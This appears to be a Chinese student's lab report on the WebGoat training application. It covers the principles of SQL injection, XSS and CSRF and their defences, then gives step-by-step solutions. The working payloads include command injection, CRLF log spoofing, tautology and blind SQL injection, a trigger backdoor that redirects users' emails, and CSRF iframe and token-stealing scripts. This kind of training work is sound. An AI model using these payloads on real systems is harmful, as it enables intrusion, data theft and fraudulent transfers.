基础问题回答:
1.SQL注入攻击原理,如何防御
SQL注入就是通过修改,插入HTML表单的内容,从而实现对SQL语句的修改,通过修改过的DQL语句达到恶意访问信息的目的
sql注入攻击是利用是利用SQL传输字符串漏洞,构造恶意语句,运行语句,对用户输入的数据进行合理化验证。
构造方法:在用户名、密码登输入框中输入一些‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
防御:
关闭或删除不必要的交互式提交表单页面
对漏洞注入点相关代码进行关键字的过滤
严格语句的检查
将数据库里的内容进行加密处理
2.XSS攻击的原理,如何防御?
原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:
不要轻易输入个人信息,如用户名密码
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义、
3.CSRF攻击原理,如何防御?
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
防御:
验证请求中的Token
验证 Referer
添加加随机验证
设定cookie域
实验过程:
1.
输入java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,在实验过程中不要关闭。
http://localhost:8080/WebGoat
进入WebGoat登录界面guest
登录
2.Command Injection
"& netstat -an & ipconfig"
3.Numeric SQL Injection
value="101"
进行修改,在城市编号101后面添加or 1=1
4.log spoofinf
csb%0d%0aLogin Succeeded for username: admin
利用0D%(回车)和%0A(换行)让其在日志中显示两行
5. String SQL Injection
基于以下查询语句构造自己的 SQL 注入字符串。 SELECT * FROM user_data WHERE last_name = ‘Your Name‘
下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
输入Smith时只能查询到Smith的信息,当我们输入Smith‘ or 1=1--或者‘ or 1=1--时就使得条件永远为真,可以查询所有的信息。
6.Blind Numeric SQL Injection
下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
您的目标是找到pins表中c_number字段值为 1111222233334444 的记录中pin字段的 数值。pin字段类型为int整型,输入找到的数值并提交。
通过AND条件来判断,当两个条件都成立的时候即都为真,输出为Valid,当有一个为假即输出Invalid。这样,我们就可以利用这个方法来查找pin值的范围。
首先尝试 101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 );
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) < 2500 );
最后多次尝试为2364
7.数据库后门
原理:数据库通常作为一个 Web 应用程序的后端来使用。利用查询的脆弱性创建触发器
输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
输入注入语句101; update employee set salary=18000
输入注入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘sxx@hackme.com‘WHERE userid = NEW.userid
BEFORE/AFTER 参数指定了触发执行的时间,在事件之前或是之后
FOR EACH ROW 表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
原理:数据路可以存储恶意活动,比方说创建一个触发器,在数据库管理系统上调用另 一个数据库操作,该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
8.Blind String SQL Injection
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘H‘ );
取得 pin 字段数值的第一个字母,判断其是否比字 母“H”小Jill
9.CSRF攻击
<img src="http://localhost:8080/WebGoat/attack?Screen=320&menu=900&transferFunds=5000" width="1" height="1" />
点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)10.CSRF Prompt By-Pass
输入任意的Title,在message中输入
<iframe src="attack?Screen=279&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=279&menu=900&transferFunds=CONFIRM"> </iframe>
点击 Submit 生成以Title命名的链接,点击链接,攻击成功
11.CSRF Token By-Pass
http://local host:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main
生成的资金转账页面的表单内容。结合token的值构造伪造的URL,附加转账参数4000,通过frame->forme的路径可以读取并保存CSRFToken参数。
<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" >
</iframe>
<iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" >
</iframe>
实验总结:
终于结束啦!开心!
网络对抗技术 20164320 王浩 Exp 9 Web安全基础
原文:https://www.cnblogs.com/admiuse986815/p/10923847.html